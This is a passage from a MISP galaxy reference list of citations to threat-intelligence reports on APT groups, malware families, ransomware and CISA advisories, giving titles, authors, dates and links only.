Baumgartner Golovkin Naikon 2015

Baumgartner, K., Golovkin, M.. (2015, May 14). The Naikon APT. Retrieved January 14, 2015.

The tag is: *misp-galaxy:references="Baumgartner Golovkin Naikon 2015"*

Table 23509. Table References

Links
https://securelist.com/the-naikon-apt/69953/

Cofense NanoCore Mar 2018

Patel, K. (2018, March 02). The NanoCore RAT Has Resurfaced From the Sewers. Retrieved September 25, 2024.

The tag is: *misp-galaxy:references="Cofense NanoCore Mar 2018"*

Table 23510. Table References

Links
https://web.archive.org/web/20240522112705/https://cofense.com/blog/nanocore-rat-resurfaced-sewers/

Nearest Neighbor Volexity

Koessel, Sean. Adair, Steven. Lancaster, Tom. (2024, November 22). The Nearest Neighbor Attack: How A Russian APT Weaponized Nearby Wi-Fi Networks for Covert Access. Retrieved February 25, 2025.

The tag is: *misp-galaxy:references="Nearest Neighbor Volexity"*

Table 23511. Table References

Links
https://www.volexity.com/blog/2024/11/22/the-nearest-neighbor-attack-how-a-russian-apt-weaponized-nearby-wi-fi-networks-for-covert-access/

Kaspersky NetTraveler

Kaspersky Lab's Global Research and Analysis Team. (n.d.). The NetTraveler (aka 'Travnet'). Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Kaspersky NetTraveler"*

Table 23512. Table References

Links
https://web.archive.org/web/20160326004042/http://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/kaspersky-the-net-traveler-part1-final.pdf

Unit42 OceanLotus 2017

Erye Hernandez and Danny Tsechansky. (2017, June 22). The New and Improved macOS Backdoor

from OceanLotus. Retrieved September 8, 2023.

The tag is: *misp-galaxy:references="Unit42 OceanLotus 2017"*

Table 23513. Table References

Links
https://unit42.paloaltonetworks.com/unit42-new-improved-macos-backdoor-oceanlotus/

Cado Security Commando Cat 2024

Nate Bill & Matt Muir. (2024, February 1). The Nine Lives of Commando Cat: Analysing a Novel Malware Campaign Targeting Docker. Retrieved April 4, 2025.

The tag is: *misp-galaxy:references="Cado Security Commando Cat 2024"*

Table 23514. Table References

Links
https://www.cadosecurity.com/blog/the-nine-lives-of-commando-cat-analysing-a-novel-malware-campaign-targeting-docker

CyberArk Labs Discord

CyberArk Labs. (2023, April 13). The (Not so) Secret War on Discord. Retrieved July 20, 2023.

The tag is: *misp-galaxy:references="CyberArk Labs Discord"*

Table 23515. Table References

Links
https://www.cyberark.com/resources/threat-research-blog/the-not-so-secret-war-on-discord

Gh0stRAT ATT March 2019

Quinn, J. (2019, March 25). The odd case of a Gh0stRAT variant. Retrieved July 15, 2020.

The tag is: *misp-galaxy:references="Gh0stRAT ATT March 2019"*

Table 23516. Table References

Links
https://cybersecurity.att.com/blogs/labs-research/the-odd-case-of-a-gh0strat-variant

Palo Alto OilRig May 2016

Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.

The tag is: *misp-galaxy:references="Palo Alto OilRig May 2016"*

Table 23517. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/

STIG krbtgt reset

UCF. (n.d.). The password for the krbtgt account on a domain must be reset at least every 180 days. Retrieved November 5, 2020.

The tag is: *misp-galaxy:references="STIG krbtgt reset"*

Table 23518. Table References

Links
https://www.stigviewer.com/stig/windows_server_2016/2019-12-12/finding/V-91779

Haq 2014

Haq, T., Moran, N., Scott, M., & Vashisht, S. O. (2014, September 10). The Path to Mass-Producing Cyber Attacks [Blog]. Retrieved November 12, 2014.

The tag is: *misp-galaxy:references="Haq 2014"*

Table 23519. Table References

Links
https://www.fireeye.com/blog/threat-research/2014/09/the-path-to-mass-producing-cyber-attacks.html

Kaspersky Turla Penquin December 2014

Baumgartner, K. and Raiu, C. (2014, December 8). The 'Penquin' Turla. Retrieved March 11, 2021.

The tag is: *misp-galaxy:references="Kaspersky Turla Penquin December 2014"*

Table 23520. Table References

Links
https://securelist.com/the-penquin-turla-2/67962/

FireEye PLA

FireEye Labs. (2014, May 20). The PLA and the 8:00am-5:00pm Work Day: FireEye Confirms DOJ's Findings on APT1 Intrusion Activity. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="FireEye PLA"*

Table 23521. Table References

Links
https://web.archive.org/web/20210417085454/https://www.fireeye.com/blog/threat-research/2014/05/the-pla-and-the-800am-500pm-work-day-fireeye-confirms-dojs-findings-on-apt1-intrusion-activity.html

Kaspersky Lua

Global Research and Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 5, 2024.

The tag is: *misp-galaxy:references="Kaspersky Lua"*

Table 23522. Table References

Links
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07190154/The-ProjectSauron-APT_research_KL.pdf

Kaspersky ProjectSauron Full Report

Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.

The tag is: *misp-galaxy:references="Kaspersky ProjectSauron Full Report"*

Table 23523. Table References

Links
https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf

McMillan Pwn March 2012

Robert McMillan. (2012, March 3). The Pwn Plug is a little white box that can hack your network. Retrieved March 30, 2018.

The tag is: *misp-galaxy:references="McMillan Pwn March 2012"*

Table 23524. Table References

Links
https://arstechnica.com/information-technology/2012/03/the-pwn-plug-is-a-little-white-box-that-can-hack-your-network/

FireEye Application Shimming

Ballenthin, W., Tomczak, J.. (2015). The Real Shim Shary. Retrieved May 4, 2020.

The tag is: *misp-galaxy:references="FireEye Application Shimming"*

Table 23525. Table References

Links
http://files.brucon.org/2015/Tomczak_and_Ballenthin_Shims_for_the_Win.pdf

Kaspersky Regin

Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 2014.

The tag is: *misp-galaxy:references="Kaspersky Regin"*

Table 23526. Table References

Links
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070305/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf

The Remote Framebuffer Protocol

1. Richardson, J. Levine, RealVNC Ltd.. (2011, March). The Remote Framebuffer Protocol. Retrieved September 20, 2021.

The tag is: *misp-galaxy:references="The Remote Framebuffer Protocol"*

Table 23527. Table References

Links
https://datatracker.ietf.org/doc/html/rfc6143#section-7.2.2

Malwarebytes Heroku Skimmers

Jérôme Segura. (2019, December 4). There's an app for that: web skimmers found on PaaS Heroku. Retrieved August 18, 2022.

The tag is: *misp-galaxy:references="Malwarebytes Heroku Skimmers"*

Table 23528. Table References

Links
https://www.malwarebytes.com/blog/news/2019/12/theres-an-app-for-that-web-skimmers-found-on-paas-heroku

Electron 1

TOM ABAI. (2023, August 10). There's a New Stealer Variant in Town, and It's Using Electron to Stay Fully Undetected. Retrieved March 7, 2024.

The tag is: *misp-galaxy:references="Electron 1"*

Table 23529. Table References

Links
https://www.mend.io/blog/theres-a-new-stealer-variant-in-town-and-its-using-electron-to-stay-fully-undetected/

ELC Extended Attributes

Howard Oakley. (2020, October 24). There's more to files than data: Extended Attributes. Retrieved October 12, 2021.

The tag is: *misp-galaxy:references="ELC Extended Attributes"*

Table 23530. Table References

Links
https://eclecticlight.co/2020/10/24/theres-more-to-files-than-data-extended-attributes/

FireEye WMI SANS 2015

Devon Kerr. (2015). There's Something About WMI. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="FireEye WMI SANS 2015"*

Table 23531. Table References

Links
https://web.archive.org/web/20221203203722/https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf

Sygnia July 17 2024

Sygnia. (2024, July 17). The Return of Ghost Emperor's Demodex. Retrieved August 9, 2024.

The tag is: *misp-galaxy:references="Sygnia July 17 2024"*

Table 23532. Table References

Links
https://www.sygnia.co/blog/ghost-emperor-demodex-rootkit/

Nviso Spoof Command Line 2020

Daman, R. (2020, February 4). The return of the spoof part 2: Command line spoofing. Retrieved November 19, 2021.

The tag is: *misp-galaxy:references="Nviso Spoof Command Line 2020"*

Table 23533. Table References

Links
https://blog.nviso.eu/2020/02/04/the-return-of-the-spoof-part-2-command-line-spoofing/

Zscaler Higaisa 2020

Singh, S. Singh, A. (2020, June 11). The Return on the Higaisa APT. Retrieved March 2, 2021.

The tag is: *misp-galaxy:references="Zscaler Higaisa 2020"*

Table 23534. Table References

Links
https://www.zscaler.com/blogs/security-research/return-higaisa-apt

Check Point Research Rhysida August 08 2023

Check Point Research. (2023, August 8). The Rhysida Ransomware: Activity Analysis and Ties to Vice Society. Retrieved August 11, 2023.

The tag is: *misp-galaxy:references="Check Point Research Rhysida August 08 2023"*

Table 23535. Table References

Links
https://research.checkpoint.com/2023/the-rhysida-ransomware-activity-analysis-and-ties-to-vice-society/

DigiTrust Agent Tesla Jan 2017

The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018.

The tag is: *misp-galaxy:references="DigiTrust Agent Tesla Jan 2017"*

Table 23536. Table References

Links
https://www.digitrustgroup.com/agent-tesla-keylogger/

Cofense Agent Tesla

James Arndt. (2023, February 21). The Rise of Agent Tesla: Understanding the Notorious Keylogger. Retrieved January 10, 2024.

The tag is: *misp-galaxy:references="Cofense Agent Tesla"*

Table 23537. Table References

Links
https://cofense.com/blog/the-rise-of-agent-tesla-understanding-the-notorious-keylogger/

Red Canary March 18 2024

Laura Brosnan. (2024, March 18). The rise of Charcoal Stork . Retrieved September 26, 2024.

The tag is: *misp-galaxy:references="Red Canary March 18 2024"*

Table 23538. Table References

Links
https://redcanary.com/blog/threat-intelligence/charcoal-stork/

ATT QakBot April 2021

Morrow, D. (2021, April 15). The rise of QakBot. Retrieved September 27, 2021.

The tag is: *misp-galaxy:references="ATT QakBot April 2021"*

Table 23539. Table References

Links
https://cybersecurity.att.com/blogs/labs-research/the-rise-of-qakbot

ESET Telebots Dec 2016

Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020.

The tag is: *misp-galaxy:references="ESET Telebots Dec 2016"*

Table 23540. Table References

Links
https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/

Darktrace September 6 2023

Emily Megan Lim. (2023, September 6). The Rise of the Lumma Info-Stealer . Retrieved October 10, 2024.

The tag is: *misp-galaxy:references="Darktrace September 6 2023"*

Table 23541. Table References

Links
https://darktrace.com/blog/the-rise-of-the-lumma-info-stealer

SEI SSL Inspection Risks

Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016.

The tag is: *misp-galaxy:references="SEI SSL Inspection Risks"*

Table 23542. Table References

Links
https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html

SourceForge rkhunter

Rootkit Hunter Project. (2018, February 20). The Rootkit Hunter project. Retrieved April 9, 2018.

The tag is: *misp-galaxy:references="SourceForge rkhunter"*

Table 23543. Table References

Links
http://rkhunter.sourceforge.net

Campbell 2014

Campbell, C. (2014). The Secret Life of Krbtgt. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Campbell 2014"*

Table 23544. Table References

Links
https://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf

Proofpoint Domain Shadowing

Proofpoint Staff. (2015, December 15). The shadow knows: Malvertising campaigns use domain shadowing to pull in Angler EK. Retrieved October 16, 2020.

The tag is: *misp-galaxy:references="Proofpoint Domain Shadowing"*

Table 23545. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/The-Shadow-Knows

Symantec Shamoon 2012

Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.

The tag is: *misp-galaxy:references="Symantec Shamoon 2012"*

Table 23546. Table References

Links
https://www.symantec.com/connect/blogs/shamoon-attacks

Spring Dragon Jun 2015

Baumgartner, K.. (2015, June 17). The Spring Dragon APT. Retrieved February 15, 2016.

The tag is: *misp-galaxy:references="Spring Dragon Jun 2015"*

Table 23547. Table References

Links
https://securelist.com/the-spring-dragon-apt/70726/

Check Point APT31 February 2021

Itkin, E. and Cohen, I. (2021, February 22). The Story of Jian – How APT31 Stole and Used an Unknown Equation Group 0-Day. Retrieved March 24, 2021.

The tag is: *misp-galaxy:references="Check Point APT31 February 2021"*

Table 23548. Table References

Links
https://research.checkpoint.com/2021/the-story-of-jian/

System Information Discovery Technique

YUCEEL, Huseyin Can. Picus Labs. (2022, June 9). The System Information Discovery Technique Explained - MITRE ATT&CK T1082. Retrieved March 27, 2024.

The tag is: *misp-galaxy:references="System Information Discovery Technique"*

Table 23549. Table References

Links
https://www.picussecurity.com/resource/the-system-information-discovery-technique-explained-mitre-attack-t1082

UCF STIG Elevation Account Enumeration

UCF. (n.d.). The system must require username and password to elevate a running application.. Retrieved December 18, 2017.

The tag is: *misp-galaxy:references="UCF STIG Elevation Account Enumeration"*

Table 23550. Table References

Links
https://www.stigviewer.com/stig/microsoft_windows_server_2012_member_server/2013-07-25/finding/WN12-CC-000077

TrendMicro Taidoor

Trend Micro. (2012). The Taidoor Campaign. Retrieved November 12, 2014.

The tag is: *misp-galaxy:references="TrendMicro Taidoor"*

Table 23551. Table References

Links
http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf

SpectorOPs SettingContent-ms Jun 2018

Nelson, M. (2018, June 11). The Tale of SettingContent-ms Files. Retrieved April 18, 2019.

The tag is: *misp-galaxy:references="SpectorOPs SettingContent-ms Jun 2018"*

Table 23552. Table References

Links
https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39

Securelist Brazilian Banking Malware July 2020

GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020.

The tag is: *misp-galaxy:references="Securelist Brazilian Banking Malware July 2020"*

Table 23553. Table References

Links
https://securelist.com/the-tetrade-brazilian-banking-malware/97779/

PWC Sea Turtle 2023

PwC Threat Intelligence. (2023, December 5). The Tortoise and The Malware. Retrieved November 20, 2024.

The tag is: *misp-galaxy:references="PWC Sea Turtle 2023"*

Table 23554. Table References

Links
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/tortoise-and-malwahare.html

Symantec Trojan.Hydraq Jan 2010

Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.

The tag is: *misp-galaxy:references="Symantec Trojan.Hydraq Jan 2010"*

Table 23555. Table References

Links
https://www.symantec.com/connect/blogs/trojanhydraq-incident

Fidelis Turbo

Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016.

The tag is: *misp-galaxy:references="Fidelis Turbo"*

Table 23556. Table References

Links

https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2016/2016.02.29.Turbo_Campaign_Derusbi/TA_Fidelis_Turbo_1602_0.pdf

USDOJ Sandworm Feb 2020

Pompeo, M. (2020, February 20). The United States Condemns Russian Cyber Attack Against the Country of Georgia. Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="USDOJ Sandworm Feb 2020"*

Table 23557. Table References

Links
https://2017-2021.state.gov/the-united-states-condemns-russian-cyber-attack-against-the-country-of-georgia/index.html

Securelist Ventir

Mikhail, K. (2014, October 16). The Ventir Trojan: assemble your MacOS spy. Retrieved April 6, 2018.

The tag is: *misp-galaxy:references="Securelist Ventir"*

Table 23558. Table References

Links
https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/

Symantec Waterbug

Symantec. (2015, January 26). The Waterbug attack group. Retrieved April 10, 2015.

The tag is: *misp-galaxy:references="Symantec Waterbug"*

Table 23559. Table References

Links
https://www.threatminer.org/report.php?q=waterbug-attack-group.pdf&y=2015#gsc.tab=0&gsc.q=waterbug-attack-group.pdf&gsc.page=1

Medium Windows Run MRU

Shlomi Boutnaru. (2024, January 1). The Windows Forensics Journey — Run MRU (Run Dialog Box Most Recently Used). Retrieved April 14, 2025.

The tag is: *misp-galaxy:references="Medium Windows Run MRU"*

Table 23560. Table References

Links
https://medium.com/@boutnaru/the-windows-foreniscs-journey-run-mru-run-dialog-box-most-recently-used-57375a02d724

Windows NT Command Shell

Tim Hill. (2014, February 2). The Windows NT Command Shell. Retrieved December 5, 2014.

The tag is: *misp-galaxy:references="Windows NT Command Shell"*

Table 23561. Table References

Links
https://docs.microsoft.com/en-us/previous-versions//cc723564(v=technet.10)?redirectedfrom=MSDN#XSLTsection127121120120

Malwarebytes The Windows Vault

Arntz, P. (2016, March 30). The Windows Vault . Retrieved November 23, 2020.

The tag is: *misp-galaxy:references="Malwarebytes The Windows Vault"*

Table 23562. Table References

Links
https://blog.malwarebytes.com/101/2016/01/the-windows-vaults/

Microsoft JScript 2007

Microsoft. (2007, August 15). The World of JScript, JavaScript, ECMAScript .... Retrieved June 23, 2020.

The tag is: *misp-galaxy:references="Microsoft JScript 2007"*

Table 23563. Table References

Links
https://docs.microsoft.com/archive/blogs/gauravseth/the-world-of-jscript-javascript-ecmascript

ntlm_relaying_kerberos_del

Mollema, D. (2019, March 4). The worst of both worlds: Combining NTLM Relaying and Kerberos delegation . Retrieved August 15, 2022.

The tag is: *misp-galaxy:references="ntlm_relaying_kerberos_del"*

Table 23564. Table References

Links
https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/

trendmicro xcsset xcode project 2020

Mac Threat Response, Mobile Research Team. (2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. Retrieved October 5, 2021.

The tag is: *misp-galaxy:references="trendmicro xcsset xcode project 2020"*

Table 23565. Table References

Links
https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf

Sophos New Ryuk Attack October 2020

Sean Gallagher, Peter Mackenzie, Elida Leite, Syed Shahram, Bill Kearney, Anand Aijan, Sivagnanam Gn, Suraj Mundalik. (2020, October 14). They’re back: inside a new Ryuk ransomware attack. Retrieved October 14, 2020.

The tag is: *misp-galaxy:references="Sophos New Ryuk Attack October 2020"*

Table 23566. Table References

Links
https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/

RSA EU12 They’re Inside

Rivner, U., Schwartz, E. (2012). They’re Inside… Now What?. Retrieved November 25, 2016.

The tag is: *misp-galaxy:references="RSA EU12 They’re Inside"*

Table 23567. Table References

Links
https://www.rsaconference.com/writable/presentations/file_upload/ht-209_rivner_schwartz.pdf

APT29 Deep Look at Credential Roaming

Thibault Van Geluwe De Berlaere. (2022, November 8). They See Me Roaming: Following APT29 by Taking a Deeper Look at Windows Credential Roaming. Retrieved November 9, 2022.

The tag is: *misp-galaxy:references="APT29 Deep Look at Credential Roaming"*

Table 23568. Table References

Links
https://www.mandiant.com/resources/blog/apt29-windows-credential-roaming

ZDNet Ransomware Backups 2020

Steve Ranger. (2020, February 27). Ransomware victims thought their backups were safe. They were wrong. Retrieved March 21, 2023.

The tag is: *misp-galaxy:references="ZDNet Ransomware Backups 2020"*

Table 23569. Table References

Links
https://www.zdnet.com/article/ransomware-victims-thought-their-backups-were-safe-they-were-wrong/

Microsoft Unidentified Dec 2018

Microsoft Defender Research Team. (2018, December 3). Analysis of cyberattack on U.S. think tanks, non-profits, public sector by unidentified attackers. Retrieved April 15, 2019.

The tag is: *misp-galaxy:references="Microsoft Unidentified Dec 2018"*

Table 23570. Table References

Links
https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/

iPhone Charging Cable Hack

Zack Whittaker. (2019, August 12). This hacker’s iPhone charging cable can hijack your computer. Retrieved May 25, 2022.

The tag is: *misp-galaxy:references="iPhone Charging Cable Hack"*

Table 23571. Table References

Links
https://techcrunch.com/2019/08/12/iphone-charging-cable-hack-computer-def-con/

Mandiant APT41 Global Intrusion

Gyler, C.,Perez D.,Jones, S.,Miller, S.. (2021, February 25). This is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved February 17, 2022.

The tag is: *misp-galaxy:references="Mandiant APT41 Global Intrusion"*

Table 23572. Table References

Links
https://www.mandiant.com/resources/apt41-initiates-global-intrusion-campaign-using-multiple-exploits

FireEye APT41 March 2020

Glyer, C, et al. (2020, March). This Is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved April 28, 2020.

The tag is: *misp-galaxy:references="FireEye APT41 March 2020"*

Table 23573. Table References

Links
https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html

Proofpoint Bumblebee April 2022

Merriman, K. and Trouerbach, P. (2022, April 28). This isn't Optimus Prime's Bumblebee but it's Still Transforming. Retrieved August 22, 2022.

The tag is: *misp-galaxy:references="Proofpoint Bumblebee April 2022"*

Table 23574. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming

Code Injection on Linux and macOS

Itamar Turner-Trauring. (2017, April 18). "This will only hurt for a moment": code injection on Linux and macOS with LD_PRELOAD. Retrieved December 20, 2017.

The tag is: *misp-galaxy:references="Code Injection on Linux and macOS"*

Table 23575. Table References

Links
https://www.datawire.io/code-injection-on-linux-and-macos/

Cybernews Reuters Leak 2022

Vilius Petkauskas . (2022, November 3). Thomson Reuters collected and leaked at least 3TB of sensitive data. Retrieved September 25, 2024.

The tag is: *misp-galaxy:references="Cybernews Reuters Leak 2022"*

Table 23576. Table References

Links
https://cybernews.com/security/thomson-reuters-leaked-terabytes-sensitive-data/

phishing-krebs

Brian Krebs. (2024, March 28). Thread Hijacking: Phishes That Prey on Your Curiosity. Retrieved September 27, 2024.

The tag is: *misp-galaxy:references="phishing-krebs"*

Table 23577. Table References

Links
https://krebsonsecurity.com/2024/03/thread-hijacking-phishes-that-prey-on-your-curiosity/

TrendMicros ScreenConnect February 27 2024

Ian Kenefick, Junestherry Dela Cruz, Peter Girnus. (2024, February 27). Threat Actor Groups, Including Black Basta, are Exploiting Recent ScreenConnect Vulnerabilities. Retrieved February 28, 2024.

The tag is: *misp-galaxy:references="TrendMicros ScreenConnect February 27 2024"*

Table 23578. Table References

Links
https://www.trendmicro.com/en_us/research/24/b/threat-actor-groups-including-black-basta-are-exploiting-recent-.html

Threat Actor Groups Tracked by Palo Alto Networks Unit 42

Unit 42. (2024, June 27). Threat Actor Groups Tracked by Palo Alto Networks Unit 42. Retrieved June 9, 2025.

The tag is: *misp-galaxy:references="Threat Actor Groups Tracked by Palo Alto Networks Unit 42"*

Table 23579. Table References

Links
https://unit42.paloaltonetworks.com/threat-actor-groups-tracked-by-palo-alto-networks-unit-42/

FireEye Fin8 May 2016

Kizhakkinan, D., et al. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.

The tag is: *misp-galaxy:references="FireEye Fin8 May 2016"*

Table 23580. Table References

Links
https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html

Proofpoint TA407 September 2019

Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021.

The tag is: *misp-galaxy:references="Proofpoint TA407 September 2019"*

Table 23581. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian

Proofpoint TA505 Sep 2017

Proofpoint Staff. (2017, September 27). Threat Actor Profile: TA505, From Dridex to GlobeImposter. Retrieved May 28, 2019.

The tag is: *misp-galaxy:references="Proofpoint TA505 Sep 2017"*

Table 23582. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter

U.S. CISA Ivanti Vulnerabilities January 22 2025

Cybersecurity and Infrastructure Security Agency. (2025, January 22). Threat Actors Chained Vulnerabilities in Ivanti Cloud Service Applications. Retrieved January 27, 2025.

The tag is: *misp-galaxy:references="U.S. CISA Ivanti Vulnerabilities January 22 2025"*

Table 23583. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-022a

U.S. CISA LummaC2 May 21 2025

Cybersecurity and Infrastructure Security Agency. (2025, May 21). Threat Actors Deploy LummaC2 Malware to Exfiltrate Sensitive Data from Organizations. Retrieved May 22, 2025.

The tag is: *misp-galaxy:references="U.S. CISA LummaC2 May 21 2025"*

Table 23584. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-141b

Cyble 4 26 2023

Cybleinc. (2023, April 26). Threat Actor Selling New Atomic macOS (AMOS) Stealer on Telegram. Retrieved January 1, 2024.

The tag is: *misp-galaxy:references="Cyble 4 26 2023"*

Table 23585. Table References

Links
https://cyble.com/blog/threat-actor-selling-new-atomic-macos-amos-stealer-on-telegram/

U.S. CISA CVE-2023-3519 Exploits

Cybersecurity and Infrastructure Security Agency. (2023, July 20). Threat Actors Exploiting Citrix CVE-2023-3519 to Implant Webshells. Retrieved July 24, 2023.

The tag is: *misp-galaxy:references="U.S. CISA CVE-2023-3519 Exploits"*

Table 23586. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-201a

U.S. CISA CVE-2023-35078 Exploits

Cybersecurity and Infrastructure Security Agency. (2023, August 1). Threat Actors Exploiting Ivanti EPMM Vulnerabilities. Retrieved August 3, 2023.

The tag is: *misp-galaxy:references="U.S. CISA CVE-2023-35078 Exploits"*

Table 23587. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-213a

U.S. CISA Ivanti Exploits February 2024

Cybersecurity and Infrastructure Security Agency. (2024, February 29). Threat Actors Exploit Multiple Vulnerabilities in Ivanti Connect Secure and Policy Secure Gateways. Retrieved March 1, 2024.

The tag is: *misp-galaxy:references="U.S. CISA Ivanti Exploits February 2024"*

Table 23588. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-060b

Microsoft Security Blog 5 15 2024

Microsoft Threat Intelligence. (2024, May 15). Threat actors misusing Quick Assist in social engineering attacks leading to ransomware . Retrieved May 16, 2024.

The tag is: *misp-galaxy:references="Microsoft Security Blog 5 15 2024"*

Table 23589. Table References

Links
https://www.microsoft.com/en-us/security/blog/2024/05/15/threat-actors-misusing-quick-assist-in-social-engineering-attacks-leading-to-ransomware/

Microsoft Storm-1811 2024

Microsoft Threat Intelligence. (2024, May 15). Threat actors misusing Quick Assist in social engineering attacks leading to ransomware. Retrieved March 14, 2025.

The tag is: *misp-galaxy:references="Microsoft Storm-1811 2024"*

Table 23590. Table References

Links
https://www.microsoft.com/en-us/security/blog/2024/05/15/threat-actors-misusing-quick-assist-in-social-engineering-attacks-leading-to-ransomware/

Secureonix STARK#VORTEX September 25 2023

Securonix Threat Research, D.Iuzvyk, T.Peck, O.Kolesnikov. (2023, September 25). Threat Actors Use Drone Manual Lures to Deliver MerlinAgent Payloads. Retrieved March 24, 2025.

The tag is: *misp-galaxy:references="Secureonix STARK#VORTEX September 25 2023"*

Table 23591. Table References

Links

https://www.securonix.com/blog/threat-labs-security-advisory-new-starkvortex-attack-campaign-threat-actors-use-drone-manual-lures-to-deliver-merlinagent-payloads/

Atlas SEO

Atlas Cybersecurity. (2021, April 19). Threat Actors use Search-Engine-Optimization Tactics to Redirect Traffic and Install Malware. Retrieved September 30, 2022.

The tag is: *misp-galaxy:references="Atlas SEO"*

Table 23592. Table References

Links
https://atlas-cybersecurity.com/cyber-threats/threat-actors-use-search-engine-optimization-tactics-to-redirect-traffic-and-install-malware/

Cisco Talos Blog September 3 2024

Vanja Svajcer. (2024, September 3). Threat actors using MacroPack to deploy Brute Ratel, Havoc and PhantomCore payloads. Retrieved September 3, 2024.

The tag is: *misp-galaxy:references="Cisco Talos Blog September 3 2024"*

Table 23593. Table References

Links
https://blog.talosintelligence.com/threat-actors-using-macropack/

Cybereason TA505 April 2019

Salem, E. (2019, April 25). Threat Actor TA505 Targets Financial Enterprises Using LOLBins and a New Backdoor Malware. Retrieved May 28, 2019.

The tag is: *misp-galaxy:references="Cybereason TA505 April 2019"*

Table 23594. Table References

Links
https://www.cybereason.com/blog/threat-actor-ta505-targets-financial-enterprises-using-lolbins-and-a-new-backdoor-malware

Threat Actor Targets the Manufacturing industry with Lumma Stealer and Amadey Bot

Cyble. (2024, December 5). Threat Actor Targets the Manufacturing industry with Lumma Stealer and Amadey Bot. Retrieved February 4, 2025.

The tag is: *misp-galaxy:references="Threat Actor Targets the Manufacturing industry with Lumma Stealer and Amadey Bot"*

Table 23595. Table References

Links
https://cyble.com/blog/threat-actor-targets-manufacturing-industry-with-malware/

Cisco CaddyWiper March 2022

Malhotra, A. (2022, March 15). Threat Advisory: CaddyWiper. Retrieved March 23, 2022.

The tag is: *misp-galaxy:references="Cisco CaddyWiper March 2022"*

Table 23596. Table References

Links
https://blog.talosintelligence.com/2022/03/threat-advisory-caddywiper.html

SBS CyberSecurity January 3 2023

SBS CyberSecurity. (2023, January 3). Threat Advisory FIN7 Hacker Group Using Automation to Compromise Unpatched In-House Exchange Servers. Retrieved April 8, 2025.

The tag is: *misp-galaxy:references="SBS CyberSecurity January 3 2023"*

Table 23597. Table References

Links
https://sbscyber.com/blog/threat-advisory-fin7-hacker-group-using-automation-to-compromise-unpatched-in-house-exchange-servers

Carbon Black Squiblydoo Apr 2016

Nolen, R. et al.. (2016, April 28). Threat Advisory: “Squiblydoo” Continues Trend of Attackers Using Native OS Tools to “Live off the Land”. Retrieved April 9, 2018.

The tag is: *misp-galaxy:references="Carbon Black Squiblydoo Apr 2016"*

Table 23598. Table References

Links
https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/

Aqua Build Images on Hosts

